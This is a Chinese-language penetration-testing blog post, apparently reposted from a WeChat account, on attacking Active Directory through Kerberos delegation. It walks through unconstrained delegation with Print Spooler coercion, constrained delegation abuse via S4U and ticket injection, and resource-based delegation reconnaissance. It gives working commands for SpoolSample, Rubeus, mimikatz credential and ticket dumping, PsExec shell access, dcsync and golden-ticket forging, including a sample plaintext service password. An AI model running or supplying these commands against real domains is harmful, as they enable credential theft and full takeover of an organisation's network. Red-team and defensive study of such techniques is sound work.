内网渗透—委派攻击
域委派是指,将域内用户的权限委派给服务账户和主机账户,使得服务账号和主机账户能以用户权限开展域内活动。
主机账户:即机器账户。
服务账户:运行服务所需要的账户,如果域用户注册SPN,那么域用户也可以是服务账户。
https://blog.csdn.net/qq_41874930/article/details/108777247
https://blog.csdn.net/qq_41874930/article/details/111249630
https://blog.csdn.net/qq_43645782/article/details/118928824
https://shanfenglan.blog.csdn.net/article/details/110633298
非约束委派攻击
原理
当用户good访问mysql服务的时候,如果mysql服务对应的服务账户开启了非约束委派,good用户访问mysql服务,会将good用户的TGT发送给mysql服务的主机并且保存在内存中,所以mysql服务就可以利用TGT以good的用户身份身去访问域内的任何user用户能访问的所有服务。
ps:
因为在Kerberos认证中,TGT的作用就是用户携带访问TGS即票据授予服务器,拿到ST进而访问对应的服务。
应用场景
获取到一台主机账号被配置了非约束委派的主机权限。
要获取域内某台主机或者域管的权限。
攻击方式
迫使目标主机中的用户,访问非约束主机上的服务,在非约束主机上获取到用户的TGT。
非约束委派+spooler打印机
常见应用
域控:IP1
域管理员用户:U1
域内普通主机:IP2
以域管理员的身份访问域内普通主机(IP2)的服务。此时域管理员的TGT已经缓存在普通主机(IP2)上。使用minikazi导出。
将导出的TGT票据导出当前主机(IP2)。
此时当前主机(IP2)即可获取域控权限(IP1)。
问题
1、这里使用的服务是WinRM服务。
Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务。
2、在上述常见中,是人为主动让域管理员访问对应服务,在实战过程中,如何让域管理员主动访问对应服务?
windowsSpooler打印机服务是默认启用的方法。
应用场景:
获取一台主机账户开启了非约束委派域内机器的权限。
域控:IP1
域内普通主机:IP2
(主机账户开启非约束委派,而不是服务用户)。
主要的原理就是通过PrintSpooler服务使用特定POC让域控对设置了非约束委派的主机发起请求,获取域控的TGT,从而提升权限。
-
首先向域控IP1的Spooler服务发送请求,强制其访问域内普通主机(IP2)进行身份验证。
SpoolSample.exe 域控机器名 普通机器名
-
使用Rubeus来监听
Rubeus.exe monitor /interval:1 /filteruser:CSTAR$
-
直接使用Rubeus来注入内存
Rubeus.exe ptt /ticket:base64
-
可以使用mimikatz导出TGT,注入当前会话。
privilege::debug
sekurlsa::tickets /export
-
用dcsync导出域控中所有用户的hash。 -
得到krbtgt用户的hash之后生成一张administrator的黄金票据。 -
以administrator的身份访问域控。
约束委派攻击
原理
应用场景
获取到一个服务账户或者主机账户,该服务账户或者主机账户被设置为约束委派并且指定了委派的服务。
攻击方式
获取账户的hash或者密码,或者获取到账户所在主机到权限直接使用工具抓取TGT。
1、定义
约束委派只能获取某个用户或者主机的ST,也就是只能模拟用户访问特定的服务。而且无法获取用户TGT。
2、条件
获取开启委派的用户的hash(机器用户的hash可以直接使用minikazi抓取密码)或者明文密码,伪造请求模拟用户获取访问指定服务的ST。
3、步骤
1)获取用户hash。
mimikatz.exe "privilege::debug""sekurlsa::logonpasswords full" exit
请求用户TGT。
tgt::ask /user:mssql /domain:de1ay.com /password:1qaz@WSX /ticket:test.kirbi
/user: 服务用户的用户名。
/password: 服务用户的明文密码。
/domain: 所在域名。
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略。
如果获取到主机权限,可以直接使用minikazi导出TGT。
mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
然后直接请求ST2票据,然后直接导入内存中。
tgs::s4u /tgt:[0;196b1e4]-2-0-60[email protected] /user:[email protected] /service:cifs/dm08.qiyou.com
2)通过获取的TGT,伪造请求以admin用户身份请求指定的主机服务ST。
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dm08.qiyou.com
3)之后会回去到两个ST。将ST2导入当前会话。使用minikazi导入。
kerberos::ptt [email protected]@[email protected]
然后使用微软官方的PSEXEC获取目标主机权限。
https://www.crisprx.top/archives/429
https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/
场景:
test为域内用户并且服务账户。
查找可约束委派的主机和用户
AdFind.exe -b "DC=starcity,DC=dmz" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
被设置委派的机器为FILESERVER,表示任何用户可以委派此机器来访问EMP机器上的CIFS服务。
在FILESERVER机器上攻击EMP机器,获取EMP机器的管理员权限。
首先使用mimikazt导出机器上的所有凭证。
mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
获取st1和st2
tgs::s4u /tgt:[0;3e7]-2-1-40e10000[email protected] /user:[email protected] /service:cifs/emp.starcity.dmz
使用minikazt将st2导入当前机器
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" exit
最后使用微软官方psexec攻击获取shell。
PsExec64.exe \emp cmd.exe
基于资源的约束委派
原理
获取加域操作账号,进而拿下被该账户加域的所有机器
应用场景
获取加域账号。
攻击方式
发现完整的mS-DS-CreatorSID,通过以下命令可以看到每台机器的名称以及将他们加域的用户的SID。
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
通过找到的SID查找某个用户
AdFind.exe -b "DC=test,DC=com" -f "(&(objectsid=S-1-5-21-3763276348-88739081-2848684050-1110))" objectclass cn dn
查询域中被当前用户拉进域内的所有主机
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3763276348-88739081-2848684050-1110))" cn sAMAccountType objectCategory
如果一个账号没有mS-DS-CreatorSID,那么其是被域管拉入域内的。
总结
1、非约束委派就是某个主机被设置成非约束委派之后,任何用户都可以委派该主机去代替自己访问任何服务。
2、约束委派就是指定任何用户都可以委派主机去访问特定的服务。而不是所有服务。
3、约束委派和非约束委派都不能限制什么用户可以去委派机器,只能限制委派之后能够访问那种服务。
4、非约束委派是服务账户获取到了用户的TGT,使用用户的TGT,访问该用户能够使用的所有服务。
原文始发于微信公众号(土拨鼠的安全屋):内网渗透—委派攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论